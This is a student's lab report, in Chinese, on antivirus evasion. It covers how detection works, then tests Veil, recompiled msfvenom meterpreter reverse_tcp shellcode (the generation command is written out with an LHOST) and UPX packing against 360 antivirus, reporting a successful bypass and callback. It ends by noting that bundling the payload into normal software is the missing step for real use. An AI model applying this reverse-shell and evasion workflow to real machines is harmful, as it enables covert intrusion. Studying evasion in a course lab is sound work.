Exp3 免杀原理实践
1.实验目标
-
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
-
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) -
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
2.实验原理
2.1 杀毒软件的检测原理
2.1.1 特征代码
- 特征码法被早期应用于SCAN、CPAV等著名病毒检测工具中。国外专家认为特征代码法是检测已知病毒的最简单、开销最小的方法。
- 其特点:
- (1)速度慢。随着病毒种类的增多,检索时间变长。如果检索5000种病毒,必须对5000个病毒特征代码逐一检查。如果病毒种数再增加,检病毒的时间开销就变得十分可观。此类工具检测的高速性,将变得日益困难。
- (2)误报警率低。
- (3)不能检查多形性病毒。特征代码法是不可能检测多态性病毒的。国外专家认为多态性病毒是病毒特征代码法的索命者。
- (4)不能对付隐蔽性病毒。隐蔽性病毒如果先进驻内存,后运行病毒检测工具,隐蔽性病毒能先于检测工具,将被查文件中的病毒代码剥去,检测工具的确是在检查一个虚假的“好文件”,而不能报警,被隐蔽性病毒所蒙骗。
2.1.2 校验和法
- 将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存。在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染,这种方法叫校验和法,它既可发现已知病毒又可发现未知病毒。在SCAN和CPAV工具的后期版本中除了病毒特征代码法之外,还纳入校验和法,以提高其检测能力。这种方法既能发现已知病毒,也能发现未知病毒,但是,它不能识别病毒类,不能报出病毒名称。由于病毒感染并非文件内容改变的唯一的非他性原因,文件内容的改变有可能是正常程序引起的,所以校验和法常常误报警。
2.1.3 行为监测法
- 利用病毒的特有行为特征性来监测病毒的方法,称为行为监测法。通过对病毒多年的观察、研究,有一些行为是病毒的共同行为,而且比较特殊。在正常程序中,这些行为比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。
2.2 免杀的作用
- 顾名思义,免杀即骗过杀毒软件的检测,实现在由防护的电脑上实行悄无声息的操作和破坏。
2.3 免杀的基本方法
2.3.1 文件免杀
- 加花
- 修改文件特征码
- 加壳
- 修改加壳后的文件
2.3.2 内存免杀
- 修改特征码
2.3.3行为免杀
- 加花。ps:加花是文件免杀的常用手段,加花原理就是通过添加花指令(一些垃圾指令,类似加1减1之类废话)
3.实验过程
3.1 meterpreter裸程序尝试
- 利用上次实验得到的裸的程序去试一试,基本上是被毙了。
3.2 veil生成程序尝试
-
这个软件困扰了我很久......甚至装好了之后各种不能用,比如这个
-
分析了一下,原因是更新了之后python脚本不全,有的组件没有加载出来,无奈,只能拷贝同学的了。
-
设置了参数之后生成文件,我们来试一试
-
我:?嗯??360就这么沦陷了?这网站好像也不太靠谱啊?
-
不过,我看了一眼我的360版本不是最新,好吧更新一次试试,结果如下:(ps:还好不是太失望)
-
既然360能查的出来,我也就不尝试去搞破坏了,估计也没什么用。试试别的方法。
3.3 shellcode再编译
- 我们在linux下生成一段shellcode机器指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.101 LPORT=5113 -f c
-
把代码拷贝到c语言编辑器下,编译得到可执行文件,看一下查验结果。
-
360直接干掉了,网站也检测了出来。
3.4 加壳
- upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx #需要加壳的文件名 -o #加壳后的文件名
- 然后我们做一下验证。结果如下:
- 360再次沦陷...不过在线监测的结果还是说明问题的,简单加壳并没有什么用。
3.4 组合拳尝试
-
我们来尝试一次veil生成的程序之后加壳,先生成一个.exe文件。
-
再进行加壳
-
360扫描结果,成功了!
-
尝试回连,成功。
3. 实验总结
3.1 实验感想
- 事实证明:
- 1.360挺坑的,很多情况下无法监测。
- 2.在这场矛与盾的较量中还是矛更加的容易取胜,相比较而言盾的防御显得有些力不从心。
- 3.要想自己的电脑不中招,还是要提高自身的防范意识,光靠杀软是没有用滴!
- 4.杀软更新要及时,病毒库日新月异,可能每周都会有翻天覆地的变化,最好还是勤快点!
3.2 离实战还缺些什么技术或步骤
- 应该说距离还是不小的,因为这些程序还无法自启动,即使成功被下载到靶机上,但是无法自己运行,所以需要考虑如何将程序捆绑到普通的软件上。